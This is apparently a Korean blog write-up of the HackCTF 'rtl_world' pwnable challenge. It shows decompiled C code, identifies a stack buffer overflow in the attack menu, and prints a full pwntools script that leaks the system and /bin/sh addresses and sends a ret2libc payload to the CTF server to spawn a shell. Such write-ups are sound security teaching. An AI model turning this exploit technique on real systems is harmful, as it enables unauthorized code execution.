ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [hackctf] rtl_world
    hackctf 2021. 8. 9. 20:32

    checksec 결과

    문제 파일에는 nx bit 보호기법이 걸려 있습니다.

     

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      int result; // eax
      int v4; // [esp+10h] [ebp-90h]
      char buf; // [esp+14h] [ebp-8Ch]
      void *v6; // [esp+94h] [ebp-Ch]
      void *handle; // [esp+98h] [ebp-8h]
      void *s1; // [esp+9Ch] [ebp-4h]
    
      setvbuf(stdout, 0, 2, 0);
      handle = dlopen("/lib/i386-linux-gnu/libc.so.6", 1);
      v6 = dlsym(handle, "system");
      dlclose(handle);
      for ( s1 = v6; memcmp(s1, "/bin/sh", 8u); s1 = (char *)s1 + 1 )
        ;
      puts("\n\nNPC [Village Presient] : ");
      puts("Binary Boss made our village fall into disuse...");
      puts("If you Have System Armor && Shell Sword.");
      puts("You can kill the Binary Boss...");
      puts("Help me Pwnable Hero... :(\n");
      printf("Your Gold : %d\n", gold);
      while ( 1 )
      {
        Menu();
        printf(">>> ");
        __isoc99_scanf("%d", &v4);
        switch ( v4 )
        {
          case 0:
            continue;
          case 1:
            system("clear");
            puts("[Binary Boss]\n");
            puts("Arch:     i386-32-little");
            puts("RELRO:    Partial RELRO");
            puts("Stack:    No canary found");
            puts("NX:       NX enabled");
            puts("PIE:      No PIE (0x8048000)");
            puts("ASLR:  Enable");
            printf("Binary Boss live in %p\n", handle);
            puts("Binart Boss HP is 140 + Armor + 4\n");
            break;
          case 2:
            Get_Money(gold);
            break;
          case 3:
            if ( gold <= 1999 )
            {
              puts("You don't have gold... :(");
            }
            else
            {
              gold -= 1999;
              printf("System Armor : %p\n", v6);
            }
            break;
          case 4:
            if ( gold <= 2999 )
            {
              puts("You don't have gold... :(");
            }
            else
            {
              gold -= 2999;
              printf("Shell Sword : %p\n", s1);
            }
            break;
          case 5:
            printf("[Attack] > ");
            read(0, &buf, 0x400u);
            return 0;
          case 6:
            puts("Your Not Hero... Bye...");
            exit(0);
            return result;
        }
      }
    }

    코드를 확인해보니 사용자로부터 입력 값을 받아서 switch case 문을 통해 각각 정해진 동작을 합니다.

    switch case문을 확인해보니 3을 입력하고 해당 조건을 맞춰주면 /bin/sh 문자열의 주소를 알아낼 수 있고, 4를 입력하고 조건문을 통과하면 system 함수의 주소를 알 수 있습니다.

    그리고 case 5번에서 buffer oveflow 취약점이 발생하여 rtl 기법을 사용하여 exploit 할 수 있을 것으로 보입니다.

     

    우선 system 함수의 주소와 /bin/sh 문자열의 주소를 알기 위해선 gold가 5000 정도 있어야 합니다.

    gold는 case 2번에서 Get_Money 함수를 사용하여 얻을 수 있을 것으로 보입니다.

     

    int Get_Money()
    {
      int result; // eax
      int v1; // [esp+8h] [ebp-Ch]
      int v2; // [esp+Ch] [ebp-8h]
      int v3; // [esp+10h] [ebp-4h]
    
      puts("\nThis world is F*cking JabonJui");
      puts("1) Farming...");
      puts("2) Item selling...");
      puts("3) Hunting...");
      v3 = 0;
      v2 = rand();
      printf("(Job)>>> ");
      __isoc99_scanf("%d", &v1);
      result = v1;
      if ( v1 == 2 )
      {
        puts("\nItem selling...");
        while ( v3 <= 350 )
          ++v3;
        puts("+ 350 Gold");
        gold += v3;
        result = printf("\nYour Gold is %d\n", gold);
      }
      else if ( v1 > 2 )
      {
        if ( v1 == 3 )
        {
          puts("\nHunting...");
          while ( v3 <= 500 )
            ++v3;
          puts("+ 500 Gold");
          gold += v3;
          result = printf("\nYour Gold is %d\n", gold);
        }
        else if ( v1 == 4 )
        {
          puts("\nWow! you can find Hidden number!");
          puts("Life is Just a One Shot...");
          puts("Gambling...");
          printf("+ %d Gold\n", v2);
          gold += v2;
          result = printf("\nYour Gold is %d\n", gold);
        }
      }
      else if ( v1 == 1 )
      {
        puts("\nFarming...");
        while ( v3 <= 100 )
          ++v3;
        puts("+ 100 Gold");
        gold += v3;
        result = printf("\nYour Gold is %d\n", gold);
      }
      return result;
    }

    Get_Money 함수를 확인해보니 사용자로부터 입력값을 받아서 각각 다른 값의 gold를 얻어올 수 있습니다. 이를 활용하여 gold를 획득하고 system 함수의 주소와 /bin/sh 문자열의 주소를 알아내서 exploit 하면 될 것 같습니다.

     

     

    exploit code

    from pwn import *
    context.log_level='DEBUG'
    
    p = remote("ctf.j0n9hyun.xyz", 3010)
    #p = process("./rtl_world")
    #gdb.attach(p)
    
    for i in range(8):
        p.recvuntil(">>>")
        p.sendline("2")
        p.recvuntil("(Job)>>>")
        p.sendline("3")
    
    p.sendline("3")
    p.recvuntil("System Armor : ")
    system_addr = int(p.recv(10), 0)
    print system_addr
    system_addr = p32(system_addr)
    
    p.recvuntil(">>>")
    p.sendline("4")
    p.recvuntil("Shell Sword : ")
    binsh_addr = int(p.recv(10), 0)
    print binsh_addr
    binsh_addr = p32(binsh_addr)
    
    
    payload = ""
    payload += "A" * 0x90
    payload += system_addr
    payload += "A" * 4
    payload += binsh_addr
    
    p.recvuntil(">>>")
    p.sendline("5")
    p.recvuntil("[Attack] > ")
    p.sendline(payload)
    
    p.interactive()

    위 exploit 코드를 사용하여 flag 값을 획득할 수 있었습니다.

     

    'hackctf' 카테고리의 다른 글

    [hackctf] rtlcore 풀이  (0) 2021.09.08
    [hackctf] g++pwn 풀이  (0) 2021.08.12
    [hackctf] yes_or_no  (0) 2021.07.29
    [hackctf] rtc  (0) 2021.07.26

    댓글

Designed by Tistory.